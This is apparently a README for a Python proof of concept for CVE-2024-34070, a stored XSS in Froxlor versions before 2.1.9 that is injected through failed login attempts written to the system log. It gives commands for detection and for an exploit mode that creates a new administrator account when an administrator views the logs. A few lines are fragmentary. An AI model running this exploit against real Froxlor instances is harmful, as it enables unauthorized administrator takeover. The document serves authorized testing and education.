
Python proof of concept for CVE-2024-34070, a stored XSS issue in Froxlor before 2.1.9 through failed login attempts written to the system log.
This project is for authorized security testing, CTF labs, and educational use only. Do not run this against systems you do not own or do not have explicit permission to test. The exploit mode can create an administrator account on the target Froxlor instance.
< 2.1.9).Unauthenticated detection:
python3 main.py --url http://240.0.0.1:8080 --check
Authenticated detection, used to retrieve the exact Froxlor version:
python3 main.py --url http://240.0.0.1:8080 --check --login admin --password 'password'
Exploit mode, creating a new administrator:
python3 main.py --url http://240.0.0.1:8080 --exploit \
--new-admin abcd \
--new-password 'Abcd@@1234' \
--new-email [email protected]
If an administrator or automation bot reads the Froxlor system logs, the verification step should eventually redirect to admin_index.php.
--check can confirm Froxlor but cannot strictly determine vulnerability./admin_admins.php) so it works against the target instance instead of a hard-coded domain.